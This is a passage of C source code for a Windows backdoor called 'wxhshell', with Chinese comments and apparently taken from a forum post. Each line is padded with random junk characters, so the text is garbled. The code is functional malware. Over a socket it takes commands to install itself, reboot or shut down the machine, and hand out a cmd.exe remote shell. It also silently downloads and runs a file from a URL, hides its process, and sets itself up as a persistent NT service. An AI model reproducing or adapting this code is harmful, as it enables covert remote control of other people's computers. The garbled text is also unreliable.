  else { sF9{(Us  
+&hhj~I.  
    switch(cmd[0]) { (NfP2E|B  
  tUX4#{)q(j  
  // 帮助 y cYT1Sg 8  
  case '?': { 2iOn\ ^]x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1ocd$)B|}  
    break; TdGda'C  
  } >tF3|:\  
  // 安装 )Z6bMAb0'N  
  case 'i': { ZEY="pf  
    if(Install()) TljN!nv]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *u LOoq  
    else k(hYNmmo j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d4ANh+}X"_  
    break; ,TeJx+z^  
    } )Ve-)rZ  
  // 卸载 #,dNhUV#  
  case 'r': { ?%RAX CK  
    if(Uninstall()) be&5vl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L8OW@)|  
    else 6Gt~tlt:L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bVfFhfh*  
    break; e^v5ai  
    } UN ;9h9  
  // 显示 wxhshell 所在路径 &O|!w&  
  case 'p': { 2P\k;T(  
    char svExeFile[MAX_PATH]; hxG=g6:G  
    strcpy(svExeFile,"\n\r"); V|6PKED  
      strcat(svExeFile,ExeFile); +'fy%/  
        send(wsh,svExeFile,strlen(svExeFile),0); w Vegr  
    break; 0|6]ps4Z7  
    } '?| (QU:)F  
  // 重启 w+A:]SU  
  case 'b': { \YUl$d0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )m8ve)l  
    if(Boot(REBOOT)) [3$L}m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HCBZ*Z-  
    else { FHztF$Z  
    closesocket(wsh); ;8F|Q<`pV  
    ExitThread(0); /zt9;^e  
    } \9;SOAv  
    break; vjo@aY.x  
    } j^4KczJl  
  // 关机 zk6al$3R  
  case 'd': { 'u9,L FO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8H2zM IB  
    if(Boot(SHUTDOWN)) 3k YVk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N$'/J-^  
    else { MmIVTf4  
    closesocket(wsh); ^b{-y  
    ExitThread(0); Kmy'z  
    } P9d%80(b4  
    break; mM`zA%=  
    } jM <=>P  
  // 获取shell /"~ D(bw0=  
  case 's': { GCrIa Z  
    CmdShell(wsh); 1 zo0/<dk  
    closesocket(wsh); 3C:!\R  
    ExitThread(0); ^3>Qf  
    break; MHF31/g\  
  } NxOiT#YH  
  // 退出 euxkw]`h6  
  case 'x': { hbZ]DRg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qu 7#^%=  
    CloseIt(wsh); )gX7qQ  
    break; z@70{*  
    } 4}i2j  
  // 离开 qcN{p7=0  
  case 'q': { ] lBe   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~* R:UTBtw  
    closesocket(wsh); s,5SWdb\v  
    WSACleanup();  (~59}lu~  
    exit(1); ?(C(9vO  
    break; U,G!u=+  
        }  uj8G6'm%  
  } 'A^;P]y  
  } tx$i(  
O"'.n5>:`  
  // 提示信息 24Y8n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *HT )Au"5  
} ?nVwT[  
  } Vki'pAN  
5,Q3#f~!  
  return; <V> [H7  
} iTX:*$~I  
tQ:g#EqL9B  
// shell模块句柄 R1!F mZW8  
int CmdShell(SOCKET sock) C]X:@^Hy  
{ "7w~0?}  
STARTUPINFO si; .,-,@ZK  
ZeroMemory(&si,sizeof(si)); .2K4<UOAbm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a'NxsByG]s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \IL;}D{  
PROCESS_INFORMATION ProcessInfo; fPW|)e"  
char cmdline[]="cmd"; y15 MWZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [>P9_zID  
  return 0; $A4rdhvd  
} jb~W(8cj  
tEU}?k+:j)  
// 自身启动模式 8LI aN}  
int StartFromService(void) 5g x9W\a ?  
{ 98c##NV(7|  
typedef struct knX*fp  
{ Ffv v8x  
  DWORD ExitStatus; 8vk*",  
  DWORD PebBaseAddress; fX:)mLnO/  
  DWORD AffinityMask; mYU7b8x_  
  DWORD BasePriority; v?BVUH>#9  
  ULONG UniqueProcessId; J 8!D."'Q0  
  ULONG InheritedFromUniqueProcessId; Vxr_2Kra  
}   PROCESS_BASIC_INFORMATION; o {W4@:Ib  
R*"31&3le4  
PROCNTQSIP NtQueryInformationProcess; Qkk3>{I  
S":55YQev!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y v$@i A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |8QXjzH  
<yoCW?#  
  HANDLE             hProcess; FW~{io]n  
  PROCESS_BASIC_INFORMATION pbi; .Mn_T*F  
z~O#0Q !  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v?s]up @@h  
  if(NULL == hInst ) return 0; >A]U.C  
N5ph70#y3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3SI~?&HU!/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +hUS sR&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xSf&*wLE  
fXL&?~fS  
  if (!NtQueryInformationProcess) return 0; QU#u5sX A  
g':/hlQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (f-Mm0%[  
  if(!hProcess) return 0; `:aml+  
A^m]DSFOO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [!g$|   
iXF iFsb  
  CloseHandle(hProcess); z: ;ZPSn  
TO,XN\{y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &J]|pf3m  
if(hProcess==NULL) return 0; 4 6yq F  
[Iwb7a0p  
HMODULE hMod; m L#%H(  
char procName[255]; xr;:gz!h  
unsigned long cbNeeded; ""Ub^:ucD  
8C[W;&Y=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &N+,{7.  
s(0S)l<  
  CloseHandle(hProcess); D2,2Yy5 y  
NcuZw?  
if(strstr(procName,"services")) return 1; // 以服务启动 #mK/xbW  
:jKiHeBQu?  
  return 0; // 注册表启动 F6L}n-p5  
} -T,/S^  
#Epx'$9  
// 主模块 5qe6/E@  
int StartWxhshell(LPSTR lpCmdLine) !ek};~(  
{ %(P\"hE'  
  SOCKET wsl; 6'F4p1VG*I  
BOOL val=TRUE; #4yh-D"  
  int port=0; >`0l"K<  
  struct sockaddr_in door; :2 Fy`PPab  
V(?PKb-w)  
  if(wscfg.ws_autoins) Install(); z PW[GkD  
7_=7 ;PQ<  
port=atoi(lpCmdLine); nfldj33*  
9=l6NNe)|  
if(port<=0) port=wscfg.ws_port; i"B q*b@  
>*wF~G*k  
  WSADATA data; 1"hd5a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hoj('P2a#n  
|}?o=bO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CnXl 7"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,/bSa/x`  
  door.sin_family = AF_INET; bG|aQ2HW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); odPdWV,&*  
  door.sin_port = htons(port); v M lT  
g?9IS,Gp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { . `ND  
closesocket(wsl); QE#Ar8tU  
return 1; G $F3dx.I  
} San=E@3}v!  
#A:+|{H"  
  if(listen(wsl,2) == INVALID_SOCKET) { ]N& Y25oT5  
closesocket(wsl); #GlQwk3  
return 1; 5n1aRA1  
} Qf'%".*=~8  
  Wxhshell(wsl); <=yqV]JR  
  WSACleanup(); &az :YTq  
YF4?3K0F:k  
return 0; ='\Di '*  
TV['"'D&i  
} cu@i;Hb@  
4/Mi-ls_  
// 以NT服务方式启动 IAl X^6s*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) liuw!  
{ yu~o9  
DWORD   status = 0; AeZ__X  
  DWORD   specificError = 0xfffffff; /uNgftj  
; 1^ ([>|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &Q>tV+*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k^%Kw(/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^^;#Si  
  serviceStatus.dwWin32ExitCode     = 0; 9_4bw9 A  
  serviceStatus.dwServiceSpecificExitCode = 0; nYvx[ zq?^  
  serviceStatus.dwCheckPoint       = 0; 8M~^/Zc  
  serviceStatus.dwWaitHint       = 0; }~akVh`3  
ov9+6'zya  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VJf|r#2  
  if (hServiceStatusHandle==0) return; Uc[ @]  
?x\tE]  
status = GetLastError(); $oo`]R_   
  if (status!=NO_ERROR) d41DcgG'j(  
{ m 4r!Ck|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q b[UA5S\`  
    serviceStatus.dwCheckPoint       = 0; :g+5cs  
    serviceStatus.dwWaitHint       = 0; sN_c4"\q  
    serviceStatus.dwWin32ExitCode     = status; bzC| aUGM  
    serviceStatus.dwServiceSpecificExitCode = specificError; -,Oq=w*EV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2BGS$$pP  
    return; rZi\  
  } rYP72<   
;UnJrP-if  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j} .,|7X  
  serviceStatus.dwCheckPoint       = 0; }}Kj b  
  serviceStatus.dwWaitHint       = 0; P\nz;}nv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h;lg^zlTb  
} YTk"'q-  
W[R^5{k`  
// 处理NT服务事件,比如:启动、停止 [d3i _^\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nl\l7/}6  
{ dln1JZ!  
switch(fdwControl) h8)m2KrZ!.  
{ GI ;  
case SERVICE_CONTROL_STOP: ALO0yc  
  serviceStatus.dwWin32ExitCode = 0; })#SjFq<V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iL6Yk @  
  serviceStatus.dwCheckPoint   = 0; ,P.yl~'Al  
  serviceStatus.dwWaitHint     = 0; $-Yq?:  
  { q-lejVS(g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?r}'0dW  
  } Ob~7r*q  
  return; bZKlQ<sI  
case SERVICE_CONTROL_PAUSE: 6]D%|R,Q#}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h@H8oZ[  
  break; IHs^t/;Iv  
case SERVICE_CONTROL_CONTINUE: |3:e$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NU <K+k  
  break; .IkQo`_s:  
case SERVICE_CONTROL_INTERROGATE: i*\\j1mf  
  break; d7 W[.M$]  
}; @,i_Gw)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U%?  
} A{IJ](5.kd  
+bhR[V{0g  
// 标准应用程序主函数 mV'XH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )b7;w#%q  
{ ^K]`ZQjKC  
,'%wadOo  
// 获取操作系统版本 m,X8Cy|vQ  
OsIsNt=GetOsVer(); KccIYn~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i .GJO +K  
4Y/kf%]]A  
  // 从命令行安装 AW')*{/(Ii  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fo:60)Lr  
.I#ss66h  
  // 下载执行文件 {Y7dE?!`7  
if(wscfg.ws_downexe) { ,jc')#]9B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) - fx?@  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gdu5 &]H#6  
} )a=58r07  
Ix59(g  
if(!OsIsNt) { Kwmtt  
// 如果时win9x,隐藏进程并且设置为注册表启动 6VQe?oh  
HideProc();  z:p;Wm  
StartWxhshell(lpCmdLine); 'lIj89h<E  
} 7+2DsZ^6MW  
else KM:k<pvi  
  if(StartFromService()) 8TH fFL  
  // 以服务方式启动 XN Gw@$  
  StartServiceCtrlDispatcher(DispatchTable); j-%@A`j;  
else RO!em~{D*  
  // 普通方式启动 S@^o=B]]  
  StartWxhshell(lpCmdLine); hziPHuK9,  
vvwQ/iJO4Q  
return 0; \\d!z-NOk?  
}
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只看该作者 1 发表于: 2006-10-10
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